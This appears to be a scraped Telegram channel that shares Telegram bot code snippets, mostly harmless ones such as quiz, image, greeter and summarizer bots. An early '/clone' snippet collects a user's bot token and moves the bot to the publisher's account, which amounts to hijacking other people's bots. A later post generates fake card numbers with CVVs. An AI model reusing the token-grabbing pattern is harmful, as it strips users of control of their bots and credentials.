Bot Nations πŸš€
17.1K subscribers
18 photos
1 video
3 files
53 links
πŸ–πŸ» Welcome to β€œBot Nations”!

πŸ€– Hello, Everyone! Here, I’ll Teach You How To Create Telegram Bots.

➑ Join Our Discussion Group: @Private_Bots_Chats

πŸ“ž For Sponsorships, Ads, or Promotions, Contact Us At @PB_Sponsorship.
Download Telegram
πŸ¦‘ Clone Bot To Other's Account (It Will Run By Default;No Need Run It Manually. [Telebot Codes]

πŸ’“ Command: Your Command

πŸ” TPY:
bot.sendMessage(text="Sᴇɴᴅ Bᴏᴛ Tᴏᴋᴇɴ Tᴏ CΚŸα΄Ι΄α΄‡  AΙ΄ Bᴏᴛ")
Bot.handleNextCommand("/clone")


πŸ’“ Command: /clone

πŸ” TPY:
try:
    Bot Transfer(email="swastikraj12567@gmail com", bot_id="83628", bot_token=message text, run_now=True)
    # Email: You need to put your email where you want your all clients' bot adds
    # bot_id: Put your bot ID to copy a bot Don't share bot ID with others
    bot sendMessage("Bot Started Successfully")
except Exception as e:
    bot sendMessage("An error occurred: " + str(e))

⚑ Mᴀᴋᴇᴅ Bʏ:
@Flash_Ninja
πŸ“° Publisher:
@Swastik_Raj

βœ… Pʟs GΙͺᴠᴇ Us CʀᴇᴅΙͺα΄› Tᴏ Sᴇɴᴅ Oα΄œΚ€ Cᴏᴅᴇ IΙ΄ CΚœα΄€Ι΄Ι΄α΄‡ΚŸ...
πŸ‘9πŸ‘Œ4❀‍πŸ”₯1
🌩 Boost Channel Task Code

πŸ’‘ Command :- ⚑ Boost (optional)

username = 'kevinbots' # enter your channel username without @
button = InlineKeyboardMarkup()
button.add(InlineKeyboardButton(text='⚑ Boost',url=f'https://t.me/boost/{username}'))

if message.chat.type != 'private':
raise ReturnCommand

User.saveData('boost', False)
bot.sendMessage(chat_id=u,text='⚑ <b>Boost this channel to help it unlock additional features.\n\nπŸ’° Reward:</b> <i>$0.5</i>',parse_mode='html',reply_markup=button)


πŸ’‘ Command :- /handler_chat_boost (required)

channel = 'kevinbots' # enter your channel username without @
if message and message['chat']['username'].lower() == channel.lower():
userid = message['boost']['source']['user']['id']
balance = libs.Resources.anotherRes('balance',user=userid)
boost = User.getData('boost',user=userid)
if boost == None:
raise ReturnCommand
if boost == False:
if User.getData('boosted',user=userid) != True:
User.saveData('boosted',data=True,user=userid)
User.saveData('boost',data=True,user=userid)
balance.add(0.5)
bot.sendMessage(chat_id=userid,text='πŸ’° <b>Congratulations, $0.5 Added To Your Balance.</b>',parse_mode='html')
else:
bot.sendMessage(chat_id=userid,text='πŸ‘ <b>You have already helped boost our channel.</b>',parse_mode='html')


πŸ—£οΈ Code by: @Coder_Kevin
πŸ”– Posted by: @KevinBots
❀10πŸ‘7
β›“ Auto Bed Time πŸ’€πŸ•“ BJS:- It's Working Between 12:00 AM to 6:00 AM (Indian Time).

❀️ Command:- @

☣ BJS:-
function getIndianTime() {
var now = new Date()
var options = {
timeZone: "Asia/kolkata",
hour12: true,
hour: "numeric",
minute: "numeric",
second: "numeric"
}
return now.toLocaleString("en-US", options)
}
function isRestricted() {
var now = new Date()
var bdTime = new Date(
now.toLocaleString("en-US", { timeZone: "Asia/kolkata" })
)
var currentHour = bdTime.getHours()
return currentHour >= 0 && currentHour < 6 // Returns true if it's between 12:00 AM and 6:00 AM Indian time
}
if (isRestricted()) {
informRestrictedTime()
} else {
}
function informRestrictedTime() {
var remainingTime = getRemainingTime()
var up =
"<b>πŸ›οΈ It's bedtime, so this bot is currently unavailable..</>\nβ”β”β”β”β”β”β”β”β”β€’β…β€’Β°β€’βˆβ€’Β°β€’β…β€’β”β”β”β”β”β”β”β”β”\n<b>βŒ› Remaining Time:</> <code>" +
remainingTime +
"</>\nβ”β”β”β”β”β”β”β”β”β€’β…β€’Β°β€’βˆβ€’Β°β€’β…β€’β”β”β”β”β”β”β”β”β”\n<b>😎 Please Come Back After Bed Time.</>"
var bob = [[{ text: "πŸ”„ Refresh", callback_data: "8388" }]]
if (request.message_id) {
Api.sendMessage({
text: up,
parse_mode: "html",
reply_markup: { inline_keyboard: bob }
})
return
}
Api.editMessageText({
message_id: request.message.message_id,
text: up,
parse_mode: "html",
disable_web_page_preview: true,
reply_markup: { inline_keyboard: bob }
})
}
function getRemainingTime() {
var now = new Date()
var bdTime = new Date(
now.toLocaleString("en-US", { timeZone: "Asia/kolkata" })
)
var currentHour = bdTime.getHours()
if (currentHour < 6) {
var remainingHours = 6 - currentHour
var remainingMinutes = 60 - bdTime.getMinutes()
var remainingSeconds = 60 - bdTime.getSeconds()
return (
remainingHours +
" hours, " +
remainingMinutes +
" minutes, " +
remainingSeconds +
" seconds"
)
} else {
return "Come back later"
}
}


βœ… Developed By:- SowRov
πŸ§‘β€πŸ’» Edited By:-
@Private_Projector
πŸ‘10❀8πŸ”₯4
T2I.php
36.5 KB
πŸ“Œ Here's the source code of a text-to-image unlimited generation website! πŸ–ΌοΈβœ¨ 


πŸ”— Demo: Click here πŸ”₯ 
⚑ Most of the APIs provided by @kaiiddo πŸ’‘ 
12πŸ‘15❀8πŸ”₯4πŸ₯°1πŸ†’1
πŸ’¬ Adorable Random Neko Image Bot 🐱✨ 
[Bots Business Code]

βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

🌸 Command: /neko 

πŸ“ BJS:

HTTP.get({
  url: "https://nekos.life/api/v2/img/neko",
  success: "/onNekoSuccess",
  error: "/onNekoError"
});


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

πŸ“₯ Command: /onNekoSuccess 

πŸ“ BJS:

let data = JSON.parse(content);
let imageUrl = data.url;

Api.sendPhoto({
  photo: imageUrl,
  caption: "😸 Here's a delightful neko image just for you!"
});


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

⚠️ Command: /onNekoError 

πŸ“ BJS:

Bot.sendMessage("❌ Failed to fetch neko image. Please try again later!");


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

πŸ‘¨β€πŸ’» Created By: @Swastik_Raj 
Β© Copyright: @botnations 
πŸ“’ Love anime? Share this with your friends and remember to give credit if you use it on your channel!
❀12πŸ‘3πŸ”₯1
πŸš€ Looking to boost your channel subscribers? πŸš€

Get ready to welcome over 100 genuine users daily! 🌟

Hurry, there’s only 1 seat left!

πŸ“© DM @swastik_raj now to secure your spot and watch your channel grow! πŸ“ˆβœ¨
❀9πŸŽ‰4
Do u want albert quiz bot???
Final Results
79%
Yes
21%
No
❀9πŸ‘7
Bot Nations πŸš€
Do u want albert quiz bot???
πŸ’‘ Fun Quiz Challenge Bot [Bots Business Code]

βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

🎯 Command: /quiz

πŸ“ BJS:

// Send quiz intro message
Bot.sendMessage("*🌟 New Quiz Alert! Ready to test your knowledge? πŸ“š*");

// Start the quiz process
function startQuiz() {
  var apiUrl = "https://opentdb.com/api.php?amount=1";

  // Indicate typing action to the user
  Api.sendChatAction({
    chat_id: chat.chatid,
    action: "typing"
  });

  // Fetch quiz data from OpenTDB API
  HTTP.get({
    url: apiUrl,
    success: "/onQuiz",   // Command to handle quiz data response
    error: "/onError"     // Command to handle error
  });
}

startQuiz();


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

πŸ“₯ Command: /onQuiz

πŸ“ BJS:

// Parse the API response
var response = JSON.parse(content);

// Check if quiz data is available
if (response.response_code === 0 && response.results.length > 0) {
  var quiz = response.results[0];

  var question = "🎯 " + quiz.question;
  var correctAnswer = quiz.correct_answer;
  var options = quiz.incorrect_answers.concat(correctAnswer);

  // Shuffle options randomly
  options = options.sort(function() {
    return Math.random() - 0.5;
  });

  // Send quiz poll
  Api.sendPoll({
    chat_id: chat.chatid,
    question: question,
    options: options,
    type: "quiz",
    correct_option_id: options.indexOf(correctAnswer),
    explanation: "βœ… The correct answer is: *" + correctAnswer + "*",
    is_anonymous: false
  });

  // Store data in user properties for later use if needed
  User.setProperty("quiz_question", question, "string");
  User.setProperty("correct_answer", correctAnswer, "string");

  // Send follow-up message with button
  Api.sendMessage({
    chat_id: chat.chatid,
    text: "πŸ” Want to explore more quizzes? 🌟",
    reply_markup: {
      inline_keyboard: [
        [
          { text: "πŸ” Search More", callback_data: "/quiz" }
        ]
      ]
    }
  });

} else {
  // In case of no data or error in response
  Bot.sendMessage("⚠️ Unable to fetch quiz. Please try again later.");
}


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

⚠️ Command: /onError

πŸ“ BJS:

Bot.sendMessage("❌ Failed to load quiz. Please try again later.");


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

πŸ‘¨β€πŸ’» Created By: @Swastik_Raj 
Β© Copyright: @botnations 
πŸ“’ Love anime? Share this with your friends and remember to give credit if you use it on your channel!
1❀12🫑3πŸ‘2
🎨 AI Image Generator Bot [TeleBot Creator Code]

βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

🌟 Command: /T2I 
πŸ“Œ Try It Like This: /T2I car or /T2I a robot dancing in the rain

❓ Requested by: Ducky

πŸ’‘Bots Business Version: https://t.me/BotNations/297?comment=155735


πŸ“ TPY: 
prompt = params  
if not prompt: 
    bot.sendMessage("❗ Please provide a prompt like: /T2I car with a car best friend") 
    raise ReturnCommand() 

# Show chat action while image is generating 
bot.sendChatAction("upload_photo") 

# Generate image URL 
img_url = f"https://botmaker.serv00.net/pollination.php?prompt={prompt}" 

# Build caption with prompt 
caption = f"πŸ–ΌοΈ *AI Art Prompt:*\n\n{prompt}\n\n✨ *Your image has been generated!*" 

# Send AI-generated image 
bot.sendPhoto(img_url, caption=caption, parse_mode="Markdown")


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–

πŸ‘¨β€πŸ’» Created By: @Swastik_Raj 
Β© Copyright: @botnations 
πŸ“’ Love anime? Share this with your friends and remember to give credit if you use it on your channel!
❀16πŸ‘3
I'm thinking about starting to upload tutorials on my YouTube channel again! πŸŽ₯✨

What topics would you like to see in those videos? Please let me know in the comments! ⬇️
❀12
πŸ€– AutoKicker tpy code

when user leave your channel bot ban him from channel automatically


Command : /handler_chat_member

# Command: /handler_chat_member

if update_type == 'chat_member':
chat_id = message.chat.id
user = message.new_chat_member.user
user_id = user.id

if message.new_chat_member.status == 'left':
try:
# Remove (kick) the user from the channel
bot.kickChatMember(
chat_id=chat_id,
user_id=user_id,
until_date=0 # Remove without ban, can rejoin
)
except Exception as e:
pass # Ignore errors silently


πŸ“± Made by : @a1mbo
🌐 Website : Telebotcreator.com


Plz πŸ™ share with credit 😭
❀11πŸ‘2
πŸ€– AutoGreeter Bot Tpy

πŸ”Ή English Description:

> πŸ’¬ This bot replies with a message and a sticker when someone types common greetings like gm, gn, etc.
βœ… It replies as a tag to the same message (using reply), and also mentions the user in a stylish format.
⚠️ Works only in group chats, not in private.


πŸ”Ή Hinglish Description:

> πŸ’¬ Ye bot jab koi gm, gn, good night, morning likhta hai to uss message par reply karta hai (tag karke) aur ek sticker bhi bhejta hai.
βœ… Reply ke sath user ka naam mention hota hai stylish format mein.
⚠️ Ye sirf group mein kaam karta hai, private mein nahi.

Command : @

# Command: @

# Only run this block if it's not private
if message.chat.type != "private":

msg_text = message.text.lower().strip()
user_id = message.from_user.id
name = message.from_user.first_name or "Friend"
mention = f"<a href='tg://user?id={user_id}'>{name}</a>"

gn_tags = ["gn", "good night", "g.n", "g n", "night", "gnite", "sleep well", "sweet dreams"]
gm_tags = ["gm", "good morning", "g.m", "g m", "morning", "vgm", "v.g.m", "v g m", "veri good morning", "very good morning"]

if msg_text in gn_tags:
bot.replyText(
chat_id=message.chat.id,
text=f"""<b>❖ ɒᴏᴏᴅ Ι΄ΙͺΙ’Κœα΄› ❖ sᴑᴇᴇᴛ ᴅʀᴇᴀᴍs ❖

❍ {mention} πŸ˜ͺ

❖ ɒᴏ ᴛᴏ βž₯ sΚŸα΄‡α΄‡α΄˜ α΄‡α΄€Κ€ΚŸΚ
</b>""",
parse_mode="HTML",
reply_to_message_id=message.message_id
)
bot.sendSticker(
chat_id=message.chat.id,
sticker="CAACAgUAAxkBAAEC7B5mvnhFWRh8TVNxGiCuLLwp3Qt4EQACaAYAApgIqFX0lPxGg7S_IDUE",
reply_to_message_id=message.message_id
)
raise ReturnCommand()

if msg_text in gm_tags:
bot.replyText(
chat_id=message.chat.id,
text=f"""<b>❖ ɒᴏᴏᴅ ᴍᴏʀɴΙͺΙ΄Ι’ ❖ Κœα΄€α΄ α΄‡ α΄€ Ι΄Ιͺᴄᴇ ᴅᴀʏ ❖

❍ {mention} 🌞

❖ sᴛᴀʏ ᴘᴏsΙͺα΄›Ιͺᴠᴇ βž₯ α΄‹α΄‡α΄‡α΄˜ κœ°α΄α΄„α΄œκœ±α΄‡α΄…
</b>""",
parse_mode="HTML",
reply_to_message_id=message.message_id
)
bot.sendSticker(
chat_id=message.chat.id,
sticker="CAACAgIAAxkBAAEDKvdoVbAvSxDVpNNdAAHIo1YsjzcKqfkAAmAAA3io5g-XR8l_6mIspB4E",
reply_to_message_id=message.message_id
)
raise ReturnCommand()



πŸ‘¨β€πŸ’» Created By: Deoxys 
Β© Copyright: Deoxys 
πŸ“’ Love anime? Share this with your friends and remember to give credit if you use it on your channel!
❀29πŸ‘4
β€œBusy due to studyπŸ‘πŸ»β€
❀16πŸ‘7
πŸ€– Random card πŸ’³ Generator tpy

Command : /generate_card

try:
# Helper function to generate a random number string
def generate_digits(length):
return ''.join([str(libs.Random.randomInt(0, 9)) for _ in range(length)])

# Generate card details
card_number = generate_digits(16)
cvv = generate_digits(3)
month = str(libs.Random.randomInt(1, 12)).zfill(2)
year = libs.Random.randomInt(2025, 2030)
expiry = f"{month}/{year}"

# Enhanced UI Output
card_info = f"""
<b>πŸ’³ Virtual Card Generator</b>
━━━━━━━━━━━━━━━━━━
<b>πŸ”’ Card Number:</b>
<code>{card_number}</code>

<b>πŸ“… Expiry Date:</b>
<code>{expiry}</code>

<b>πŸ” CVV:</b>
<code>{cvv}</code>
━━━━━━━━━━━━━━━━━━
<b>βœ… Generated Successfully!</b>
"""

# Send the formatted message
bot.sendMessage(card_info.strip(), parse_mode="html")

except Exception as e:
bot.sendMessage(f"⚠️ <b>Error:</b> <code>{str(e)}</code>", parse_mode="html")


πŸ“± Made by : @a1mbo
🌐 Website : Telebotcreator.com


Plz πŸ™ share with credit 😭
❀12πŸ‘4
πŸ“± GitHub Profile Information tpy code πŸ€–

Command : /github

Example : /github rahul

if not params:
bot.sendMessage("❌ Please provide a GitHub username.\n\nExample:\n<code>/github rahul</code>", parse_mode="HTML")
raise ReturnCommand()

username = params.strip()
url = f"https://api.github.com/users/{username}"

try:
res = HTTP.get(url)
data = res.json()

if "message" in data and data["message"] == "Not Found":
bot.sendMessage(f"❌ GitHub user <b>{username}</b> not found.", parse_mode="HTML")
raise ReturnCommand()

# Extract all fields
name = data.get("name") or "N/A"
login = data.get("login") or "N/A"
id_ = data.get("id") or "N/A"
node_id = data.get("node_id") or "N/A"
avatar = data.get("avatar_url") or ""
html_url = data.get("html_url") or ""
repos_url = data.get("repos_url") or ""
followers_url = data.get("followers_url") or ""
following_url = data.get("following_url") or ""
gists_url = data.get("gists_url") or ""
blog = data.get("blog") or "N/A"
location = data.get("location") or "N/A"
email = data.get("email") or "N/A"
hireable = str(data.get("hireable")) or "N/A"
bio = data.get("bio") or "No bio provided."
twitter = data.get("twitter_username") or "N/A"
company = data.get("company") or "N/A"
followers = data.get("followers", 0)
following = data.get("following", 0)
public_repos = data.get("public_repos", 0)
public_gists = data.get("public_gists", 0)
created = data.get("created_at") or "N/A"
updated = data.get("updated_at") or "N/A"

# Format message
text = (
f"<b>πŸ‘€ GitHub Profile</b>\n"
f"πŸ‘¨β€πŸ’» Name: <b>{name}</b>\n"
f"πŸ”‘ Username: <code>{login}</code>\n"
f"πŸ†” ID: <code>{id_}</code>\n"
f"🧬 Node ID: <code>{node_id}</code>\n"
f"πŸ“ Location: {location}\n"
f"🏒 Company: {company}\n"
f"πŸ“° Blog: {blog}\n"
f"βœ‰οΈ Email: {email}\n"
f"πŸ“Œ Hireable: {hireable}\n"
f"🐦 Twitter: {twitter}\n"
f"πŸ“¦ Public Repos: <b>{public_repos}</b>\n"
f"πŸ—ƒοΈ Gists: <b>{public_gists}</b>\n"
f"πŸ‘₯ Followers: <b>{followers}</b> | Following: <b>{following}</b>\n"
f"πŸ“ Bio: <i>{bio}</i>\n"
f"πŸ“… Created: {created}\n"
f"πŸ› οΈ Updated: {updated}\n"
f"πŸ”— Profile: <a href='{html_url}'>{html_url}</a>\n"
f"πŸ“ Repos: <a href='{repos_url}'>Repos Link</a>\n"
f"πŸ‘€ Followers: <a href='{followers_url}'>Followers</a>\n"
f"➑️ Following: <a href='{following_url}'>Following</a>\n"
f"πŸ“‘ Gists: <a href='{gists_url}'>Gists</a>"
)

bot.sendPhoto(photo=avatar, caption=text, parse_mode="HTML")

except Exception as e:
bot.sendMessage("⚠️ Failed to fetch GitHub profile. Try again later.")


πŸ“± Made by : @a1mbo
🌐 Website : Telebotcreator.com


Plz πŸ™ share with credit 😭
❀19πŸ‘4
πŸ’¬ Need a bot code?
Just drop your request in the comments!
❀14πŸ‘5
---

πŸ“Œ YouTube Video Summarizer Code (BJS for Bots.Business) πŸ“Œ 
βœ… Tested  Working in BB

---

πŸ“œ Description: Summarize YouTube videos up to 1000 words. 
πŸš€ Command: /start 
⏳ Wait for response: βœ… On

---

πŸš€ Command: /start

Bot.sendMessage("🎬 Welcome to the YouTube Summarizer Bot!\n\nPlease send the YouTube video link:");
Bot.runCommand("get_video_url");


---

πŸš€ Command: /get_video_url

⏳ Wait for response: βœ… On

let yt_url = message;
User.setProperty("yt_url", yt_url, "string");
Bot.sendMessage("βœ… Got the video link!\nNow enter the word count (15 to 1000):");
Bot.runCommand("/get_word_count");


---

πŸš€ Command: /get_word_count

⏳ Wait for response: βœ… On (NOTE: must be On in BB to capture user input)

let user_input = message;
let word_count = parseInt(user_input);

if (isNaN(word_count) || word_count < 15 || word_count > 1000) {
  Bot.sendMessage("❌ Word count must be between 15 and 1000. Try again:");
  Bot.runCommand("/get_word_count");
  return;
}

let yt_url = User.getProperty("yt_url");
if (!yt_url) {
  Bot.sendMessage("❌ No video link found. Please start again with /start.");
  return;
}

Bot.sendMessage("⏳ Summarizing your video...");

HTTP.get({
  url: "https://api.hazex.sbs/yt-summarizer",
  params: {
    url: yt_url,
    wordCount: word_count
  },
  success: "/onSummaryResult",
  error: "/onSummaryError",
  // Optional: pass word_count for use in the callback
  bb_options: { word_count: word_count }
});


---

πŸš€ Command: /onSummaryResult

let res = JSON.parse(content);

if (res.error) {
  let msg = res.message || "Unknown error occurred.";
  Bot.sendMessage("❌ API Error: " + msg);
} else {
  let summary = res.result || "⚠️ No summary returned.";
  let word_count = options.word_count;
  Bot.sendMessage("βœ… Summary (" + word_count + " words):\n\n" + summary);
}


---

πŸš€ Command: /onSummaryError

Bot.sendMessage("🚫 Failed to connect to the summarization API. Please try again later.");


πŸ‘¨β€πŸ’» Created By: @Swastik_Raj 
πŸ”— API By:
@HazexApi
Β© Copyright:
@botnations 

πŸ“’ Share this with your friends and remember to give credit if you use it on your channel!
❀18πŸŽ‰2πŸ”₯1
Bot Nations πŸš€
❓Which bot do u want first?
Omegle chat bot is on the way.......... πŸ”œ
πŸ‘20❀16🀩5
Happy Rakshabandhan To All @botnations Family Members ❀️
❀8
Forwarded from Nova: Your AI Companion πŸ€–
πŸ‘‹ Welcome to AI Helper Bot!

I can assist you with a variety of tasks:

πŸ–ΌοΈ Image Generation:
- /p [prompt] β†’ Generate pollination-themed image
- /turbo [prompt] β†’ Fast & detailed image generation
- /flux [prompt] β†’ Generate Flux-style visuals
- /img [prompt] β†’ Use default image model

🧠 AI & Code Help:
- /qwen [question] β†’ Ask lightweight Qwen model
- /ask [question] β†’ Get answers via ChatGPT-4.0
- /deep [question] β†’ Use DeepSeek for advanced queries
- /php [code] β†’ Solve PHP-related issues
- /tbc [query] β†’ Help with TeleBotCreator platform
- /bb [query] β†’ Solve queries from Bots.Business

πŸ› οΈ Utilities:
- /vehicle [number] β†’ Get vehicle details via plate number
- /font [name] β†’ Find fonts from dafont.com
- /barcode [text] β†’ Generate a barcode
- /gif [query] β†’ Search for a GIF
- /dict [word] β†’ Look up definitions and meanings
- /tts [text] β†’ Convert text to speech
- /qr [text/link] β†’ Create QR code
- /carbon [code/text] β†’ Make Carbon-style image

Made with ❀️ by @botnations
❀10🀩2